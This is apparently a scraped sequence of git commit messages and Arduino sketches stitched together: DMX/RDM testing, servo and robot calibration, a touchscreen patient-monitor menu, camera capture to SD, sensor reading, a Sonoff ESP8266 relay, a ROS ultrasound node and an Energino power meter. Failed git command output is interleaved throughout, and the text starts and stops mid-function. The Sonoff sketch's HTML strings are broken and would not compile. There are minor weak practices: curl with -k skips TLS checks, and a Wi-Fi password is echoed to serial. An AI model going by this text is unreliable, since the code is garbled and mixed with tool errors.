    if ( checkNextRange() == 0 ) {
      // done with search
      discovery_tbl_ck_index = 0;
      discovery_state = DISC_STATE_TBL_CK;
    }
  }
}

/************************************************************************
	setup
*************************************************************************/
void setup() {
  Serial.begin(115200);
  Serial.print("setup... ");

  pinMode(4, OUTPUT);            // used for testing

  pinMode(DIRECTION_PIN, OUTPUT);
  Teensy3DMX.startRDM(DIRECTION_PIN, RDM_DIRECTION_OUTPUT, RX_SIGNAL_INVERTED);
  Serial.println("setup complete");
}

/************************************************************************

  The main loop checks to see if the level of the designated slot has changed
  and prints the new level to the serial monitor.  If a PWM channel is assigned,
  it also sets the output level.

*************************************************************************/

void loop() {
  delay(2);
  testRDMDiscovery();

  Teensy3DMX.setSlot(7,testLevel);
  Teensy3DMX.setSlot(8,255);
  Teensy3DMX.setSlot(371,testLevel);
  Teensy3DMX.setSlot(22,255);
  loopDivider++;
  if ( loopDivider == 4 ) {
    testLevel++;
    loopDivider = 0;
  }
  if ( testLevel == 1 ) {
    delay(500);
    identifyFlag = 1;
  }
}

error: pathspec 'examples/rdmControllerTest/rdmControllerTest.ino' did not match any file(s) known to git


easy callibration

easy callibration

/**************************************************************************************
*   Easy calibration for Otto DIY
*   Javier Isabel, 02/06/2015
*   VERY IMPORTANT only calibrate one time per board!to avoid damage EEPROM memory
**************************************************************************************/
#include <Otto.h>
#include <Servo.h>
#include <Oscillator.h>
#include <EEPROM.h>
Otto Otto;

void setup()
{
  Otto.init(2, 3, 4, 5, false);
  Otto.setTrims(-7,-4,-4,7); //change Trim "offset values" gradually until Otto is completely straight (90º)
 // Otto.saveTrimsOnEEPROM(); //use only after completely straight(90º), delete this line after for further programming
}
int posiciones[] = {90, 90, 90, 90};

void loop()  //test comparing before & after function
{
  Otto.home();
 // delay(4000);
 // Otto.updown(6, 500, BIG);
 // delay(2000);
 //
 // Otto.walk(4,1800);
 //delay(2000);
}

error: pathspec 'Otto_easycal/Otto_easycal.ino' did not match any file(s) known to git


initial sketch

initial sketch

#include <Servo.h>
Servo myservo;

void setup()
{
  Serial.begin(38400);
  myservo.attach(11);
}

void loop()
{
  if (Serial.available() > 0)
  {
    //Read buffer
    char inputByte = Serial.read();

    if (inputByte == 'w')
    {
        int angle=0;
        while (angle <=90)
        {
            myservo.write(angle);
            delay(10);
            angle++;
        }
        while (angle > 0)
        {
            myservo.write(angle);
            delay(10);
            angle--;
        }
     }
  }
}

error: pathspec 'arduino/arduino.ino' did not match any file(s) known to git


display working, beginning to structure UI

#include <stdint.h>
#include <SPI.h>
#include <Adafruit_GFX.h>
#include <Adafruit_ILI9341.h>
#include <Adafruit_STMPE610.h>
#include <Wire.h>

#define CS_TOUCH 8
#define CS_SCREEN  10
#define DC 9
#define RST 7

// This is calibration data for the raw touch data to the screen coordinates
//#define TS_MINX 150
//#define TS_MINY 130
#define TS_MINX 150
#define TS_MINY 130
#define TS_MAXX 3800
#define TS_MAXY 4000

#define BOXSIZE 60

Adafruit_ILI9341 tft = Adafruit_ILI9341(CS_SCREEN, DC);
Adafruit_STMPE610 ts = Adafruit_STMPE610(CS_TOUCH);

void setup(void){
  Serial.begin(9600);
  tft.begin();
  if (!ts.begin()){
    Serial.println("Unable to start touchscreen");
  }
  else {
    Serial.println("Touchscreen started.");
  }

  tft.fillScreen(ILI9341_BLACK);
  tft.setRotation(1);

  // Make submenu selection boxes
  tft.fillRect(0,0,BOXSIZE,BOXSIZE,ILI9341_RED);
  tft.fillRect(0, BOXSIZE,BOXSIZE,BOXSIZE, ILI9341_GREEN);
  tft.fillRect(0,BOXSIZE*2, BOXSIZE, BOXSIZE, ILI9341_BLUE);
  tft.fillRect(0, BOXSIZE*3, BOXSIZE, BOXSIZE, ILI9341_MAGENTA);
  tft.setCursor(BOXSIZE + 20, 0);
  tft.setTextSize(1);
  tft.println("Texas Engineering World Health");
  tft.setCursor(BOXSIZE + 40, 10);
  tft.println("Patient Monitor v1.0");

}

int currentMode = 0; // Change mode
int timeout = 0;

void loop(void) {
  timeout ++;
  // After timeout, wipe message from screen
  if (timeout > 50000) {
     tft.fillRect(BOXSIZE, 50, tft.width()-BOXSIZE, tft.height(), ILI9341_BLACK);
  }

  // Touch screen interfacing taken from touchpaint.ino example
  // in the ILI9341 examples directory

  // Check if there is touch data
  if (ts.bufferEmpty()){
    return;
  }
  // Retrieve the touch point
  TS_Point p = ts.getPoint();
  // Scale from 0-4000 to tft.width() using calibration numbers
  p.x = map(p.x, TS_MINX, TS_MAXX, 0, tft.height());
  p.y = map(p.y, TS_MINY, TS_MAXY, 0, tft.width());

  // Do stuff with the coordinates of the touch

  if (p.y < BOXSIZE){
   if (p.x < BOXSIZE) {
     if (currentMode != 1){
      tft.fillRect(BOXSIZE, 50, tft.width()-BOXSIZE, tft.height(), ILI9341_BLACK);
     tft.setCursor((tft.width()/2) -50, tft.height()/2);
     tft.setTextSize(2);
     tft.setTextColor(ILI9341_MAGENTA);
     tft.println("Alarm Settings");
     currentMode = 1;
     timeout = 0;
     }
   } else if (p.x < BOXSIZE*2) {
     if (currentMode != 2) {
     tft.fillRect(BOXSIZE, 50, tft.width()-BOXSIZE, tft.height(), ILI9341_BLACK);
     tft.setCursor((tft.width()/2) -50, tft.height()/2);
     tft.setTextSize(2);
     tft.setTextColor(ILI9341_BLUE);
     tft.println("Temperature");
     currentMode = 2;
     timeout = 0;
     }
   } else if (p.x < BOXSIZE*3){
     if (currentMode != 3) {
     tft.fillRect(BOXSIZE, 50, tft.width()-BOXSIZE, tft.height(), ILI9341_BLACK);
     tft.setCursor((tft.width()/2) -50, tft.height()/2);
     tft.setTextSize(2);
     tft.setTextColor(ILI9341_GREEN);
     tft.println("SpO2");
     currentMode = 3;
     timeout = 0;
     }
   } else if (p.x < BOXSIZE*4){
     if (currentMode != 4){
     tft.fillRect(BOXSIZE, 50, tft.width()-BOXSIZE, tft.height(), ILI9341_BLACK);
     tft.setCursor((tft.width()/2) -50, tft.height()/2);
     tft.setTextSize(2);
     tft.setTextColor(ILI9341_RED);
     tft.println("Heart Rate");
     currentMode = 4;
     timeout = 0;
     }
   }

  }

}

error: pathspec 'display/display.ino' did not match any file(s) known to git


Add ArduCAM Mini 2MP Time Elapse Caputure to SD Card Demo

// ArduCAM demo (C)2015 Lee
// web: http://www.ArduCAM.com
// This program is a demo of how to use most of the functions
// of the library with a supported camera modules, and can run on any Arduino platform.
//
// This demo was made for Omnivision OV2640 2MP sensor.
// It will run the ArduCAM Mini 2MP as a real 2MP digital camera, provide both JPEG capture.
// The demo sketch will do the following tasks:
// 1. Set the sensor to JPEG mode.
// 2. Capture and buffer the image to FIFO every 5 seconds
// 3. Store the image to Micro SD/TF card with JPEG format in sequential.
// 4. Resolution can be changed by myCAM.set_JPEG_size() function.
// This program requires the ArduCAM V3.4.0 (or later) library and ArduCAM Mini 2MP shield
// and use Arduino IDE 1.5.2 compiler or above

#include <UTFT_SPI.h>
#include <SD.h>
#include <Wire.h>
#include <ArduCAM.h>
#include <SPI.h>
#include "memorysaver.h"

#if defined(__arm__)
#include <itoa.h>
#endif

#define SD_CS 9
// set pin 4 as the slave select for SPI:
const int SPI_CS = 4;

ArduCAM myCAM(OV2640, SPI_CS);
UTFT myGLCD(SPI_CS);

void setup()
{
  uint8_t vid, pid;
  uint8_t temp;
#if defined (__AVR__)
  Wire.begin();
#endif
#if defined(__arm__)
  Wire1.begin();
#endif
  Serial.begin(115200);
  Serial.println("ArduCAM Start!");
  // set the SPI_CS as an output:
  pinMode(SPI_CS, OUTPUT);

  // initialize SPI:
  SPI.begin();
  //Check if the ArduCAM SPI bus is OK
  myCAM.write_reg(ARDUCHIP_TEST1, 0x55);
  temp = myCAM.read_reg(ARDUCHIP_TEST1);
  if (temp != 0x55)
  {
    Serial.println("SPI interface Error!");
    while (1);
  }

  //Check if the camera module type is OV2640
  myCAM.rdSensorReg8_8(OV2640_CHIPID_HIGH, &vid);
  myCAM.rdSensorReg8_8(OV2640_CHIPID_LOW, &pid);
  if ((vid != 0x26) || (pid != 0x42))
    Serial.println("Can't find OV2640 module!");
  else
    Serial.println("OV2640 detected");

  //Change to BMP capture mode and initialize the OV2640 module
  myCAM.set_format(JPEG);

  myCAM.InitCAM();
  //myCAM.OV2640_set_JPEG_size(OV2640_640x480);
  //myCAM.OV2640_set_JPEG_size(OV2640_1600x1200);

  //Initialize SD Card
  if (!SD.begin(SD_CS))
  {
    //while (1);		//If failed, stop here
    Serial.println("SD Card Error");
  }
  else
    Serial.println("SD Card detected!");
}

void loop()
{
  char str[8];
  File outFile;
  byte buf[256];
  static int i = 0;
  static int k = 0;
  static int n = 0;
  uint8_t temp, temp_last;
  uint8_t start_capture = 0;
  int total_time = 0;
  ////////////////////////////////

  start_capture = 1;
  delay(5000);

  if (start_capture)
  {
    //Flush the FIFO
    myCAM.flush_fifo();
    //Clear the capture done flag
    myCAM.clear_fifo_flag();
    //Start capture
    myCAM.start_capture();
    Serial.println("Start Capture");
  }

  while (!myCAM.get_bit(ARDUCHIP_TRIG , CAP_DONE_MASK));

  Serial.println("Capture Done!");

  //Construct a file name
  k = k + 1;
  itoa(k, str, 10);
  strcat(str, ".jpg");
  //Open the new file
  outFile = SD.open(str, O_WRITE | O_CREAT | O_TRUNC);
  if (! outFile)
  {
    Serial.println("open file failed");
    return;
  }
  total_time = millis();
  i = 0;
  myCAM.CS_LOW();
  myCAM.set_fifo_burst();
  temp = SPI.transfer(0x00);
  //
  //Read JPEG data from FIFO
  while ( (temp != 0xD9) | (temp_last != 0xFF))
  {
    temp_last = temp;
    temp = SPI.transfer(0x00);

    //Write image data to buffer if not full
    if (i < 256)
      buf[i++] = temp;
    else
    {
      //Write 256 bytes image data to file
      myCAM.CS_HIGH();
      outFile.write(buf, 256);
      i = 0;
      buf[i++] = temp;
      myCAM.CS_LOW();
      myCAM.set_fifo_burst();
    }
  }
  //Write the remain bytes in the buffer
  if (i > 0)
  {
    myCAM.CS_HIGH();
    outFile.write(buf, i);
  }
  //Close the file
  outFile.close();
  total_time = millis() - total_time;
  Serial.print("Total time used:");
  Serial.print(total_time, DEC);
  Serial.println(" millisecond");
  //Clear the capture done flag
  myCAM.clear_fifo_flag();
  //Clear the start capture flag
  start_capture = 0;
}

error: pathspec 'ArduCAM/examples/mini/ArduCAM_Mini_2MP_TimeElapse2SD/ArduCAM_Mini_2MP_TimeElapse2SD.ino' did not match any file(s) known to git


Fixed example for new uart transmission style.

error: pathspec 'arduino/opencr_arduino/opencr/libraries/OpenCR/examples/10.' did not match any file(s) known to git
error: pathspec 'Etc/usb_to_dxl/usb_to_dxl.ino' did not match any file(s) known to git


Update mainhrm.ino

Update mainhrm.ino

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/jeremywrnr/wampum.git/'


Create dht.ino

Create dht.ino

#include <DHT11.h>
#define DHTPIN 7
#define DHTTYPE DHT11
DHT dht(DHTPIN, DHTTYPE);
/*it's important that we set these variable per DHT sensor on our project*/

void setup() {
  Serial.begin(9600);

  dht.begin();
}

void loop() {
  /*reading the sensor will be slow, (about 1.4 of a second, and the data might be old
 (up to 8x that time)*/
  float h = dht.readHumidity();
  float t = dht.readTemperature();

  // check if returns are valid, if they are NaN (not a number) then something went wrong!
  if (isnan(t) || isnan(h)) {
    Serial.println("Failed to read from DHT");
  } else {
    Serial.print("Humidity: ");
    Serial.print(h);
    Serial.print(" %\t");
    Serial.print("Temperature: ");
    Serial.print(t);
    Serial.println(" *C");
  }
}

error: pathspec 'dht.ino' did not match any file(s) known to git


Polished code

Polished code

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/fbatta/wbox-nodejs.git/'


add Sonoff example, with config mode, standalone http mode, and mqtt mode. Also supports manual button toggle in both user modes

#include <EEPROM.h>
#include "MqttConnection.h"
#include <ESP8266WebServer.h>

MqttConnection * myMqtt;
ESP8266WebServer server(80);

#define BOOT_MODE_CONFIG   1
#define BOOT_MODE_MQTT     2
#define BOOT_MODE_DEFAULT  3
#define RELAY_STATE_OFF '1'
#define RELAY_STATE_ON '2'

int bootMode = BOOT_MODE_DEFAULT;
bool statusGiven = false;
int pressCount = 0;
int currentRelayState = RELAY_STATE_OFF;

String sensorName;
char tmpS[32];

/************************* WiFi Access Point *********************************/

IPAddress    apIP(10, 10, 10, 10);

#define BUTTON 0
#define RELAY 12
#define LED 13
#define SPARE 14

#define EEPROM_FIELD_SIZE 32
#define EEPROM_NB_FIELD   5
char  eepromArray[EEPROM_NB_FIELD][EEPROM_FIELD_SIZE];

const char INDEX_RELAY_HTML[] =
"<!DOCTYPE HTML>"
""
""
"<meta name = \"viewport\" content = \"width = device-width, initial-scale = 1.0, maximum-scale = 1.0, user-scalable=0\">"
"<title>ESP8266 Web Form Demo</title>"
""
""
""
"
RELAY Control
"
"<FORM action=\"/\" method=\"post\">"
"
"
"RELAY
"
"<INPUT type=\"radio\" name=\"RELAY\" value=\"1\">On
"
"<INPUT type=\"radio\" name=\"RELAY\" value=\"0\">Off
"
"<INPUT type=\"submit\" value=\"Send\"> <INPUT type=\"reset\">"
"
"
"</FORM>"
""
"";

const char INDEX_HTML[] =
"<!DOCTYPE HTML>"
""
""
"<meta name = \"viewport\" content = \"width = device-width, initial-scale = 1.0, maximum-scale = 1.0, user-scalable=0\">"
"<title>ESP8266 Web Form Demo</title>"
""
""
""
"
ESP8266 Web Form Demo
"
"<FORM action=\"/\" method=\"post\">"
"
"
"Sensor name : "
"<INPUT type=\"text\" name=\"SENSOR_NAME\"
"
"WIFI access point :"
"<INPUT type=\"text\" name=\"WIFI_NAME\"
"
"WIFI password :"
"<INPUT type=\"text\" name=\"WIFI_PWD\"
"
"MQTT broker IP address : "
"<INPUT type=\"text\" name=\"MQTT_IP\"
"
"MQTT port : "
"<INPUT type=\"text\" name=\"MQTT_PORT\"
"
"<INPUT type=\"submit\" value=\"Send\"> <INPUT type=\"reset\">"
"
"
"</FORM>"
""
"";

void returnOK()
{
  server.sendHeader("Connection", "close");
  server.sendHeader("Access-Control-Allow-Origin", "*");
  server.send(200, "text/plain", "Configuration updated. Rebooting in 10 seconds...\r\n");
  delay (10000);
  ESP.restart();
}

void returnFail(String msg)
{
  server.sendHeader("Connection", "close");
  server.sendHeader("Access-Control-Allow-Origin", "*");
  server.send(500, "text/plain", msg + "\r\n");
}

void handleSubmitRelay()
{
  String relayValue;

  if (!server.hasArg("RELAY")) return returnFail("BAD ARGS");
  relayValue = server.arg("RELAY");
  if (relayValue == "1") {
    digitalWrite(LED, LOW);

    server.send(200, "text/html", INDEX_RELAY_HTML);
  }
  else if (relayValue == "0") {
    digitalWrite(LED, HIGH);
    server.send(200, "text/html", INDEX_RELAY_HTML);
  }
  else {
    returnFail("Bad RELAY value");
  }
}

void handleRootDefault()
{
  if (server.hasArg("RELAY")) {
    handleSubmitRelay();
  }
  else {
    server.send(200, "text/html", INDEX_RELAY_HTML);
  }
}

void handleRoot()
{
   if (server.args() > 1){
      Serial.println("Field update requested");
      sensorName = server.arg("SENSOR_NAME");
      String wifiName   = server.arg("WIFI_NAME");
      String wifiPwd    = server.arg("WIFI_PWD");
      String mqttIp     = server.arg("MQTT_IP");
      String mqttPort   = server.arg("MQTT_PORT");

      Serial.print("sensorName :");
      Serial.println(sensorName);
      Serial.print("wifiName :");
      Serial.println(wifiName);
      Serial.print("wifiPwd :");
      Serial.println(wifiPwd);
      Serial.print("mqttIp :");
      Serial.println(mqttIp);
      Serial.print("mqttPort :");
      Serial.println(mqttPort);

      strcpy(&eepromArray[0][0], sensorName.c_str());
      strcpy(&eepromArray[1][0], wifiName.c_str());
      strcpy(&eepromArray[2][0], wifiPwd.c_str());
      strcpy(&eepromArray[3][0], mqttIp.c_str());
      strcpy(&eepromArray[4][0], mqttPort.c_str());

      for (int addr = 0; addr < sizeof(eepromArray); addr++){
          EEPROM.write(addr, ((char*)eepromArray)[addr]);
      }
      EEPROM.commit();
      Serial.println("EEPROM updated");
      returnOK();

  }
  else {
    Serial.println("no  arg");
    server.send(200, "text/html", INDEX_HTML);
  }

}

void handleSubmit()
{
  String LEDvalue;

  if (!server.hasArg("LED")) return returnFail("BAD ARGS");
  LEDvalue = server.arg("LED");
  if (LEDvalue == "1") {

    server.send(200, "text/html", INDEX_HTML);
  }
  else if (LEDvalue == "0") {

    server.send(200, "text/html", INDEX_HTML);
  }
  else {
    returnFail("Bad LED value");
  }
}

void blinkFast(int nbRepeat){
    for (int i = 0; i < nbRepeat; i++){
        digitalWrite(LED, LOW);
        delay(70);
        digitalWrite(LED, HIGH);
        delay(70);
    }
}

void blinkSlow(int nbRepeat){
    for (int i = 0; i < nbRepeat; i++){
        digitalWrite(LED, LOW);
        delay(500);
        digitalWrite(LED, HIGH);
        delay(500);
    }
}

void blinkLedConfigMode(){
    blinkFast(1);
}

void deviceReadyBlink(){
    blinkSlow(3);
}

void deviceMqttReadyBlink(){
       blinkSlow(3);
       blinkFast(3);
       blinkSlow(3);
}

void processCommandMsg(char* topic, byte* payload, unsigned int length)
{

  Serial.print("Checking if state topic");
  String commandTopic = sensorName + "/" + "command";
  if(String(topic) == commandTopic){
     Serial.println("Received state topic change");
       if ((char)payload[0] == RELAY_STATE_ON) {
          Serial.println("RELAY STATE ON received");
          currentRelayState= RELAY_STATE_ON;

          digitalWrite(LED, HIGH);
          digitalWrite(RELAY, HIGH);
          char tmpChar = RELAY_STATE_ON;
          myMqtt->publishValue("state", &tmpChar);
       }
       else if ((char)payload[0] == RELAY_STATE_OFF){
        Serial.println("RELAY STATE OFF received");
          currentRelayState= RELAY_STATE_OFF;

          digitalWrite(LED, LOW);
          digitalWrite(RELAY, LOW);
          char tmpChar = RELAY_STATE_OFF;
          myMqtt->publishValue("state", &tmpChar);
       }
     else {
        Serial.print("Unknown payload : ");
      Serial.println((char)payload[0]);
     }

  }
}

void setup() {
  Serial.begin(115200);
  pinMode(BUTTON, INPUT);
  pinMode(RELAY, OUTPUT);
  pinMode(LED, OUTPUT);
  pinMode(SPARE, INPUT);

  EEPROM.begin(512);

  digitalWrite(LED, LOW);
  delay(3000);
  digitalWrite(LED, HIGH);

    for (int addr = 0; addr < sizeof(eepromArray); addr++){
          char tmpChar = (char)EEPROM.read(addr);
          ((char*)eepromArray)[addr] = tmpChar;
    }

      sensorName = eepromArray[0];
      String wifiName   = eepromArray[1];
      String wifiPwd    = eepromArray[2];
      String mqttIp     = eepromArray[3];
      String mqttPort   = eepromArray[4];

  //If button pressed at boot

  if(digitalRead(BUTTON) == 0){
        Serial.println("a bitch");
      bootMode = BOOT_MODE_CONFIG;
      Serial.println("starting config server");

      WiFi.mode(WIFI_AP);
      WiFi.softAPConfig(apIP, apIP, IPAddress(255, 255, 255, 0));
      int result = WiFi.softAP("ESP_CONFIG");
      if(result == true)
      {
        Serial.println("Config server ready");
      }
      else
      {
        Serial.println("Config server failed to start!");
      }

      server.on("/", handleRoot);
      server.begin();

  }
  else{
      Serial.println("Starting with config :");
      Serial.print("\tObject Name :");
      Serial.println(sensorName);
      Serial.print("\tWifi Access point :");
      Serial.println(wifiName);
      Serial.print("\tWifi pwd :");
      Serial.println(wifiPwd);
      Serial.print("\tMQTT address :");
      Serial.println(mqttIp.c_str());
      Serial.print("\tMQTT port :");
      Serial.println(mqttPort);

      if(mqttPort != ""){
          bootMode = BOOT_MODE_MQTT;

          strcpy(tmpS, mqttIp.c_str());
          myMqtt = new MqttConnection(sensorName.c_str(), wifiName.c_str(), wifiPwd.c_str(), tmpS, mqttPort.toInt());

          myMqtt->registerCustomProcessing(&processCommandMsg);
          myMqtt->addSubscription("command");

          if(myMqtt->connected()){
              deviceMqttReadyBlink();
          }
          else
          {
            Serial.println("could not connect to MQTT server");
           }
      }
      else{
          WiFi.mode(WIFI_STA);
          WiFi.begin(wifiName.c_str(), wifiPwd.c_str());

          while (WiFi.status() != WL_CONNECTED) {
              delay(500);
              Serial.print(".");
           }
           Serial.println("");
           Serial.print("Connected to ");
           Serial.println(wifiName);
           Serial.print("IP address: ");
           Serial.println(WiFi.localIP());

            server.on("/", handleRootDefault);
            server.begin();

            Serial.print("Connect to http://xxxxxx.local or http://");
            Serial.println(WiFi.localIP());
            Serial.println("last number : ");
            int addressNumber = WiFi.localIP()[3];
            Serial.println(addressNumber);
            delay(1000);

            //Blink to indicate last digit of IP address
            int unit = addressNumber % 10;
            int dec = addressNumber / 10;
            blinkSlow(dec);
            delay(2000);
            blinkSlow(unit);

      }

 }

}

void toggleRelayState(){
    if(currentRelayState == RELAY_STATE_OFF)
    {
       currentRelayState= RELAY_STATE_ON;

       digitalWrite(LED, HIGH);
       digitalWrite(RELAY, HIGH);
       if(bootMode == BOOT_MODE_MQTT){
           char tmpChar = RELAY_STATE_ON;
           myMqtt->publishValue("state", &tmpChar);
       }
    }
    else
    {
       currentRelayState = RELAY_STATE_OFF;

       digitalWrite(LED, LOW);
       digitalWrite(RELAY, LOW);
       if(bootMode == BOOT_MODE_MQTT){
           char tmpChar = RELAY_STATE_OFF;
           myMqtt->publishValue("state", &tmpChar);
       }
    }

}

void loop() {
  // put your main code here, to run repeatedly:
 if(bootMode == BOOT_MODE_CONFIG){
    server.handleClient();
    blinkLedConfigMode();

}
else
{

  if(bootMode == BOOT_MODE_MQTT){
      if (!myMqtt->connected()) {
         myMqtt->reconnect();
         statusGiven = false;
      }
      if (myMqtt->connected() & !statusGiven) {
         deviceMqttReadyBlink();
         statusGiven = true;
      }
      myMqtt->loop();

  }
  else{
    server.handleClient();

  }

  //In all case monitor HW button
  if(digitalRead(BUTTON) == 0){
       pressCount +=1;
       Serial.print("count :");
       Serial.println(pressCount);
       if(pressCount == 2){
           Serial.println("Toggling state");
           toggleRelayState();
       }
  }
  else{
        pressCount = 0;
  }

}

delay(100);

}

error: pathspec 'examples/SONOFF.ino' did not match any file(s) known to git


radar sketch

radar sketch

#include <ros.h>
#include <ros/time.h>
#include <sensor_msgs/Range.h>

ros::NodeHandle  nh;

sensor_msgs::Range range_msg;
ros::Publisher pub_range1("/ultrasound1", &range_msg);
ros::Publisher pub_range2("/ultrasound2", &range_msg);
// "/arduino_ultrasound"

char frameid[] = "/ultrasound";

long duration;
float getRange_Ultrasound(int pin_num)
{
  // The PING))) is triggered by a HIGH pulse of 2 or more microseconds.
  // Give a short LOW pulse beforehand to ensure a clean HIGH pulse:
  pinMode(pin_num, OUTPUT);
  digitalWrite(pin_num, LOW);
  delayMicroseconds(2);
  digitalWrite(pin_num, HIGH);
  delayMicroseconds(10);
  digitalWrite(pin_num, LOW);

  // The same pin is used to read the signal from the PING))): a HIGH
  // pulse whose duration is the time (in microseconds) from the sending
  // of the ping to the reception of its echo off of an object.
  pinMode(pin_num, INPUT);
  duration = pulseIn(pin_num, HIGH);

  // convert the time into a distance
  return duration/58; //    duration/29/2, return centimeters
}

void setup()
{
  nh.initNode();
  nh.advertise(pub_range1);
  nh.advertise(pub_range2);

  range_msg.radiation_type = sensor_msgs::Range::ULTRASOUND;
  range_msg.header.frame_id =  frameid;
  range_msg.field_of_view = 0.1;  // fake
  range_msg.min_range = 0.0;
  range_msg.max_range = 2.0;
}

long range_time;

void loop()
{
  //publish the adc value every 50 milliseconds
  //since it takes that long for the sensor to stabilize
  if ( millis() >= range_time ){
    range_msg.range = getRange_Ultrasound(5);
    range_msg.header.stamp = nh.now();
    pub_range1.publish(&range_msg);

    range_msg.range = getRange_Ultrasound(6);
    range_msg.header.stamp = nh.now();
    pub_range2.publish(&range_msg);

    range_time =  millis() + 50;
  }

  nh.spinOnce();
}

error: pathspec 'testing/arduino/radar3-ros.ino' did not match any file(s) known to git


add poe version

add poe version

/*
 * Energino
 *
 * Energino POE is a energy consumption meter for DC loads
 *
 * This sketch connects an Arduino equipped with the Energino
 * shield and with an Ethernet shield with a web service
 * implementing the COSM (formely Pachube) REST API. It also
 * implements a serial interface.
 *
 * Circuit:
 *  Analog inputs attached to pins A0 (Current), A1 (Voltage)
 *  Digital output attached to pin D2 (Relay)
 *
 * Supported commands from the serial:
 *  #P<integer>, sets the period between two updates (in ms) [default is 2000]
 *  #S<0/1>, sets the relay configuration, 0 load on, 1 load off [default is 0]
 *  #A<integer>, sets the value in ohms of the R1 resistor [default is 100000]
 *  #B<integer>, sets the value in ohms of the R2 resistor [default is 10000]
 *  #C<integer>, sets the offset in mV of the current sensor [default is 2500]
 *  #D<integer>, sets the sensitivity in mV of the current sensor [default is 185]
 *  #R, resest the configuration to the defaults
 *  #F<feed>, sets the feed id [default is 0]
 *  #K<key>, sets the Xively authentication key [default is -]
 *  #U<url>, sets the Xively URL [default is https://api.xively.com/v2/feeds/]
 *
 * No updates are sent over the Ethernet interface if the feed id is set to 0
 *
 * Serial putput:
 *   #Energino,0,<voltage>,<current>,<power>,<relay>,<period>,<samples>,<feed>,<url>,<key>
 *
 * RESTful interface:
 *   Reading:
 *     GET http://<ipaddress>/arduino/datastreams
 *     GET http://<ipaddress>/arduino/datastreams/voltage
 *     GET http://<ipaddress>/arduino/datastreams/current
 *     GET http://<ipaddress>/arduino/datastreams/power
 *     GET http://<ipaddress>/arduino/datastreams/switch
 *   Switching on:
 *     GET http://<ipaddress>/arduino/datastreams/switch/0
 *   Switching off:
 *     GET http://<ipaddress>/arduino/datastreams/switch/1
 *
 * created 9 November 2013
 * by Roberto Riggio
 *
 * This code is released under the BSD Licence
 *
 */

#include <Process.h>
#include <Bridge.h>
#include <YunServer.h>
#include <YunClient.h>
#include <avr/eeprom.h>

#define APIKEY        "foo"                               // replace your Xively api key here
#define FEEDID        0                                   // replace your feed ID
#define FEEDSURL      "https://api.xively.com/v2/feeds/"  // replace your remote service IP address

#define RELAYPIN      2
#define CURRENTPIN    A0
#define VOLTAGEPIN    A1

// Energino parameters
int R1 = 390;
int R2 = 100;
int OFFSET = 2500;
int SENSITIVITY = 185;
int PERIOD = 2000;

// Control loop paramters
long sleep = 0;
long delta = 0;

// Last computed values
float VFinal = 0.0;
float IFinal = 0.0;

// magic string
const char MAGIC[] = "EnerginoPOE";
const int REVISION = 1;

// Permanent configuration
struct settings_t {
  char magic[12];
  long period;
  int r1;
  int r2;
  int offset;
  int sensitivity;
  char apikey[49];
  long feedid;
  char feedsurl[60];
}
settings;

void reset() {
  strcpy (settings.magic,MAGIC);
  settings.period = PERIOD;
  settings.r1 = R1;
  settings.r2 = R2;
  settings.offset = OFFSET;
  settings.sensitivity = SENSITIVITY;
  strcpy (settings.apikey,APIKEY);
  settings.feedid = FEEDID;
  strcpy (settings.feedsurl,FEEDSURL);
}

// rest server
YunServer server;

void setup() {
  // Set serial port
  Serial.begin(115200);
  // Set external vref
  analogReference(EXTERNAL);
  // Default on
  pinMode(RELAYPIN, OUTPUT);
  digitalWrite(RELAYPIN, LOW);
  // Init bridge library
  Bridge.begin();
  // Loading setting
  eeprom_read_block((void*)&settings, (void*)0, sizeof(settings));
  if (strcmp(settings.magic, MAGIC) != 0) {
    reset();
    eeprom_write_block((const void*)&settings, (void*)0, sizeof(settings));
  }
  // set sleep counter
  resetSleep(settings.period);
  // listen on port
  server.listenOnLocalhost();
  server.begin();
  // Use the led 13 to notify that the
  // setup completed
  pinMode(13,OUTPUT);
  digitalWrite(13, HIGH);
}

void loop() {
  // Make sure that update period is not too high
  // when pushing data to Xively (one sample every
  // 5 seconds should be a reasonable lower boud)
  if ((settings.feedid != 0) && (settings.period < 2000)) {
    resetSleep(2000);
  }

  // Start profiling
  long started = millis();

  // Get clients coming from server
  YunClient client = server.accept();

  // There is a new client?
  if (client) {
    // Process request
    process(client);
    // Close connection and free resources.
    client.stop();
  }

  // Parse incoming commands
  serParseCommand();

  // Instant values are too floating,
  // let's smooth them up
  long VRaw = 0;
  long IRaw = 0;

  for(long i = 0; i < sleep; i++) {
    VRaw += analogRead(VOLTAGEPIN);
    IRaw += analogRead(CURRENTPIN);
  }

  // Conversion
  VFinal = scaleVoltage((float)VRaw/sleep);
  IFinal = scaleCurrent((float)IRaw/sleep);

  // dump to serial
  dumpToSerial();

  // send data to remote host
  sendData();

  // profiling
  delta = abs(millis() - started);

  // Control loop
  sleep -= 5 * (delta - settings.period);
  if (sleep < 5) {
    sleep = 5;
  }

}

// this method makes a HTTP connection to the server:
void sendData() {

  if (settings.feedid == 0) {
    return;
  }

  // form the string for the API header parameter:
  String apiString = "X-ApiKey: ";
  apiString += settings.apikey;

  // form the string for the URL parameter:
  String url = settings.feedsurl;
  url += settings.feedid;
  url += ".csv";

  // Send the HTTP PUT request

  // Is better to declare the Process here, so when the
  // sendData function finishes the resources are immediately
  // released. Declaring it global works too, BTW.
  Process xively;

  xively.begin("curl");
  xively.addParameter("-k");
  xively.addParameter("--silent");
  xively.addParameter("--request");
  xively.addParameter("PUT");
  xively.addParameter("--data");

  String dataString = "current,";
  dataString += IFinal;
  dataString += "\nvoltage,";
  dataString += VFinal;
  dataString += "\npower,";
  dataString += VFinal*IFinal;
  dataString += "\nswitch,";
  dataString += digitalRead(RELAYPIN);

  xively.addParameter(dataString);
  xively.addParameter("--header");
  xively.addParameter(apiString);
  xively.addParameter(url);
  xively.run();

}

void serParseCommand()
{
  // if serial is not available there is no point in continuing
  if (!Serial.available()) {
    return;
  }
  // working vars
  char cmd = '\0';
  int i, serAva;
  char inputBytes[60] = {
    '\0'                             };
  char * inputBytesPtr = &inputBytes[0];
  // read command from serial
  serAva = Serial.available();
  for (i = 0; i < serAva; i++) {
    char chr = Serial.read();
    if (i == 0) {
      if (chr != '#') {
        return;
      }
